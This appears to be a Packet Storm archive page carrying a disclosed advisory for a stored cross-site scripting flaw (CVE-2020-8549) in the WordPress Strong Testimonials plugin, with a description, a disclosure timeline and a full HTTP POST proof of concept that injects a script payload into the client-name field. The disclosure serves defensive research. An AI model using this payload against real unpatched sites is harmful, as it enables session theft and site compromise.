WordPress Strong Testimonials 2.40.1 Cross Site Scripting

Authored by Jinson Varghese Behanan   Posted Feb 17, 2020

WordPress Strong Testimonials plugin version 2.40.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2020-8549
SHA-256 | 40dd01b6eec78ddc031f82ed284e94b8c95544cfe345906becd55fab93e50bdc

Download | Favorite | View

Related Files

Share This

Like   Twee   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: Wordpress Plugin Strong Testimonials 2.40.0 - Persistent Cross-Site Scripting
# Date: 2020-01-23
# Vendor Homepage: https://strongtestimonials.com
# Vendor Changelog: https://github.com/MachoThemes/strong-testimonials/blob/master/changelog.txt
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/stored-xss-vulnerability-found-in-strong-
testimonials-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 2.40.0 and below
# CVE : CVE-2020-8549

# 1. Description
# Strong Testimonials is a popular and easily customizable WordPress testimonial plugin with
# over 90,000 active installations. In the client details section which is seen when adding
# or editing a testimonial, the custom[client_name] and custom[company_name] parameters
# were found to be vulnerable to stored cross-site scripting. All WordPress websites
# using Strong Testimonials version 2.40.0 and below are affected.

2. Proof of Concept

When the testimonial is added to a page on the site, the XSS payload passed in both of the above mentioned
vulnerable parameters get executed.

The payload in custom[client_name] also gets executed in the All Testimonials (/wp-admin/edit.php?
post_type=wpm-testimonial) page.

POST /wp-admin/post.php HTTP/1.1
Host: testing.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://testing.com/wp-admin/post.php?post=24879&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 1402
Origin: http://testing.com
Connection: close
Cookie:
wordpress_f5085b107e100d9e2687f38209d91671=jinson%7C1582988788%7CQJZkFRVzEdZRVbgZsiJIX1d1EPTlfFOij2iybAHoVe6%7Cl
wp-saving-post=24879-check; wordpress_cf_adm_use_adm=1; wp-settings-time-1=1581780228;
PHPSESSID=aeb50c30210014eec857909f45b3fbf3; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_f5085b107e100d9e2687f38209d91671=jinson%7C1582988788%7CQJZkFRVzEdZRVbgZsiJIX1d1EPTlfFOij2iyb
tk_ai=woo%3AEeO%2FMlU5TcDNKIjgYWPHxZVg
Upgrade-Insecure-Requests: 1

_wpnonce=001abb6a10&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D24879%26action%3Dedit%26message%3D1&user_ID=1&action=editpost&originalaction=editpost&
testimonial&original_post_status=publish&referredby=http%3A%2F%2Ftesting.com%2Fwp-
admin%2Fpost.php%3Fpost%3D24879%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2Ftesting.com%2Fwp-
admin%2Fpost.php%3Fpost%3D24879%26action%3Dedit&post_ID=24879&meta-box-order-
nonce=b39d630598&closedpostboxesnonce=6436439491&original_post_title=XSS+Test&post_title=XSS+Test&samplepermalir
preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visi
testimonial-category%5D%5B%5D=0&newwpm-testimonial-category=New+Category+Name&newwpm-testimonial-
category_parent=-1&_ajax_nonce-add-wpm-testimonial-
category=f7661627a5&menu_order=0&_thumbnail_id=-1&custom%5Bclient_name%5D=%3Cscript%3Ealert%28%27all+testimonial

3. Timeline

Vulnerability reported to the Strong Testimonials team - January 23, 2020
Strong Testimonials version 2.40.1 containing the fix released - January 25, 2020
```

◀   ▶

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags	File Archives
ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	**Systems**
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Spoof (2,166)
SUSE (1,444)
SQL Injection (16,102)
Ubuntu (8,199)
TCP (2,379)
UNIX (9,159)
Trojan (686)
UnixWare (185)
UDP (876)
Windows (6,511)
Virus (662)
Other
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links

News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

History & Purpose

Contact Information

Terms of Service

Privacy Statement

Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed